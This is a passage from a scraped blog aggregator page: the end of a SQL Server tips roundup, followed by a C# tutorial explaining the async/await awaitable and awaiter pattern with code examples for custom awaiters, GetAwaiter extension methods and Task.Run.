evaluate and understand different techniques and styles differently when implementing. The real reason may be absolutely different but we may blame something totally different for the incorrect results. Read the blog post to learn more. How do I Record Video and Webcast How to Convert Hex to Decimal or INT Earlier I asked regarding a question about how to convert Hex to Decimal. I promised that I will post an answer with Due Credit to the author but never got around to post a blog post around it. Read the original post over here SQL SERVER – Question – How to Convert Hex to Decimal. Query to Get Unique Distinct Data Based on Condition – Eliminate Duplicate Data from Resultset The natural reaction will be to suggest DISTINCT or GROUP BY. However, not all the questions can be solved by DISTINCT or GROUP BY. Let us see the following example, where a user wanted only latest records to be displayed. Let us see the example to understand further. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Memory Lane, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

  Read the article

• Understanding C# async / await (2) Awaitable / Awaiter Pattern

  - by Dixin

  What is awaitable Part 1 shows that any Task is awaitable. Actually there are other awaitable types. Here is an example: Task<int> task = new Task<int>(() => 0); int result = await task.ConfigureAwait(false); // Returns a ConfiguredTaskAwaitable<TResult>. The returned ConfiguredTaskAwaitable<TResult> struct is awaitable. And it is not Task at all: public struct ConfiguredTaskAwaitable<TResult> { private readonly ConfiguredTaskAwaiter m_configuredTaskAwaiter; internal ConfiguredTaskAwaitable(Task<TResult> task, bool continueOnCapturedContext) { this.m_configuredTaskAwaiter = new ConfiguredTaskAwaiter(task, continueOnCapturedContext); } public ConfiguredTaskAwaiter GetAwaiter() { return this.m_configuredTaskAwaiter; } } It has one GetAwaiter() method. Actually in part 1 we have seen that Task has GetAwaiter() method too: public class Task { public TaskAwaiter GetAwaiter() { return new TaskAwaiter(this); } } public class Task<TResult> : Task { public new TaskAwaiter<TResult> GetAwaiter() { return new TaskAwaiter<TResult>(this); } } Task.Yield() is a another example: await Task.Yield(); // Returns a YieldAwaitable. The returned YieldAwaitable is not Task either: public struct YieldAwaitable { public YieldAwaiter GetAwaiter() { return default(YieldAwaiter); } } Again, it just has one GetAwaiter() method. In this article, we will look at what is awaitable. The awaitable / awaiter pattern By observing different awaitable / awaiter types, we can tell that an object is awaitable if It has a GetAwaiter() method (instance method or extension method); Its GetAwaiter() method returns an awaiter. An object is an awaiter if: It implements INotifyCompletion or ICriticalNotifyCompletion interface; It has an IsCompleted, which has a getter and returns a Boolean; it has a GetResult() method, which returns void, or a result. This awaitable / awaiter pattern is very similar to the iteratable / iterator pattern. Here is the interface definitions of iteratable / iterator: public interface IEnumerable { IEnumerator GetEnumerator(); } public interface IEnumerator { object Current { get; } bool MoveNext(); void Reset(); } public interface IEnumerable<out T> : IEnumerable { IEnumerator<T> GetEnumerator(); } public interface IEnumerator<out T> : IDisposable, IEnumerator { T Current { get; } } In case you are not familiar with the out keyword, please find out the explanation in Understanding C# Covariance And Contravariance (2) Interfaces. The “missing” IAwaitable / IAwaiter interfaces Similar to IEnumerable and IEnumerator interfaces, awaitable / awaiter can be visualized by IAwaitable / IAwaiter interfaces too. This is the non-generic version: public interface IAwaitable { IAwaiter GetAwaiter(); } public interface IAwaiter : INotifyCompletion // or ICriticalNotifyCompletion { // INotifyCompletion has one method: void OnCompleted(Action continuation); // ICriticalNotifyCompletion implements INotifyCompletion, // also has this method: void UnsafeOnCompleted(Action continuation); bool IsCompleted { get; } void GetResult(); } Please notice GetResult() returns void here. Task.GetAwaiter() / TaskAwaiter.GetResult() is of such case. And this is the generic version: public interface IAwaitable<out TResult> { IAwaiter<TResult> GetAwaiter(); } public interface IAwaiter<out TResult> : INotifyCompletion // or ICriticalNotifyCompletion { bool IsCompleted { get; } TResult GetResult(); } Here the only difference is, GetResult() return a result. Task<TResult>.GetAwaiter() / TaskAwaiter<TResult>.GetResult() is of this case. Please notice .NET does not define these IAwaitable / IAwaiter interfaces at all. As an UI designer, I guess the reason is, IAwaitable interface will constraint GetAwaiter() to be instance method. Actually C# supports both GetAwaiter() instance method and GetAwaiter() extension method. Here I use these interfaces only for better visualizing what is awaitable / awaiter. Now, if looking at above ConfiguredTaskAwaitable / ConfiguredTaskAwaiter, YieldAwaitable / YieldAwaiter, Task / TaskAwaiter pairs again, they all “implicitly” implement these “missing” IAwaitable / IAwaiter interfaces. In the next part, we will see how to implement awaitable / awaiter. Await any function / action In C# await cannot be used with lambda. This code: int result = await (() => 0); will cause a compiler error: Cannot await 'lambda expression' This is easy to understand because this lambda expression (() => 0) may be a function or a expression tree. Obviously we mean function here, and we can tell compiler in this way: int result = await new Func<int>(() => 0); It causes an different error: Cannot await 'System.Func<int>' OK, now the compiler is complaining the type instead of syntax. With the understanding of the awaitable / awaiter pattern, Func<TResult> type can be easily made into awaitable. GetAwaiter() instance method, using IAwaitable / IAwaiter interfaces First, similar to above ConfiguredTaskAwaitable<TResult>, a FuncAwaitable<TResult> can be implemented to wrap Func<TResult>: internal struct FuncAwaitable<TResult> : IAwaitable<TResult> { private readonly Func<TResult> function; public FuncAwaitable(Func<TResult> function) { this.function = function; } public IAwaiter<TResult> GetAwaiter() { return new FuncAwaiter<TResult>(this.function); } } FuncAwaitable<TResult> wrapper is used to implement IAwaitable<TResult>, so it has one instance method, GetAwaiter(), which returns a IAwaiter<TResult>, which wraps that Func<TResult> too. FuncAwaiter<TResult> is used to implement IAwaiter<TResult>: public struct FuncAwaiter<TResult> : IAwaiter<TResult> { private readonly Task<TResult> task; public FuncAwaiter(Func<TResult> function) { this.task = new Task<TResult>(function); this.task.Start(); } bool IAwaiter<TResult>.IsCompleted { get { return this.task.IsCompleted; } } TResult IAwaiter<TResult>.GetResult() { return this.task.Result; } void INotifyCompletion.OnCompleted(Action continuation) { new Task(continuation).Start(); } } Now a function can be awaited in this way: int result = await new FuncAwaitable<int>(() => 0); GetAwaiter() extension method As IAwaitable shows, all that an awaitable needs is just a GetAwaiter() method. In above code, FuncAwaitable<TResult> is created as a wrapper of Func<TResult> and implements IAwaitable<TResult>, so that there is a  GetAwaiter() instance method. If a GetAwaiter() extension method  can be defined for Func<TResult>, then FuncAwaitable<TResult> is no longer needed: public static class FuncExtensions { public static IAwaiter<TResult> GetAwaiter<TResult>(this Func<TResult> function) { return new FuncAwaiter<TResult>(function); } } So a Func<TResult> function can be directly awaited: int result = await new Func<int>(() => 0); Using the existing awaitable / awaiter - Task / TaskAwaiter Remember the most frequently used awaitable / awaiter - Task / TaskAwaiter. With Task / TaskAwaiter, FuncAwaitable / FuncAwaiter are no longer needed: public static class FuncExtensions { public static TaskAwaiter<TResult> GetAwaiter<TResult>(this Func<TResult> function) { Task<TResult> task = new Task<TResult>(function); task.Start(); return task.GetAwaiter(); // Returns a TaskAwaiter<TResult>. } } Similarly, with this extension method: public static class ActionExtensions { public static TaskAwaiter GetAwaiter(this Action action) { Task task = new Task(action); task.Start(); return task.GetAwaiter(); // Returns a TaskAwaiter. } } an action can be awaited as well: await new Action(() => { }); Now any function / action can be awaited: await new Action(() => HelperMethods.IO()); // or: await new Action(HelperMethods.IO); If function / action has parameter(s), closure can be used: int arg0 = 0; int arg1 = 1; int result = await new Action(() => HelperMethods.IO(arg0, arg1)); Using Task.Run() The above code is used to demonstrate how awaitable / awaiter can be implemented. Because it is a common scenario to await a function / action, so .NET provides a built-in API: Task.Run(): public class Task2 { public static Task Run(Action action) { // The implementation is similar to: Task task = new Task(action); task.Start(); return task; } public static Task<TResult> Run<TResult>(Func<TResult> function) { // The implementation is similar to: Task<TResult> task = new Task<TResult>(function); task.Start(); return task; } } In reality, this is how we await a function: int result = await Task.Run(() => HelperMethods.IO(arg0, arg1)); and await a action: await Task.Run(() => HelperMethods.IO());

  Read the article

< Previous Page | 25 26 27 28 29 30 31 32  | Next Page >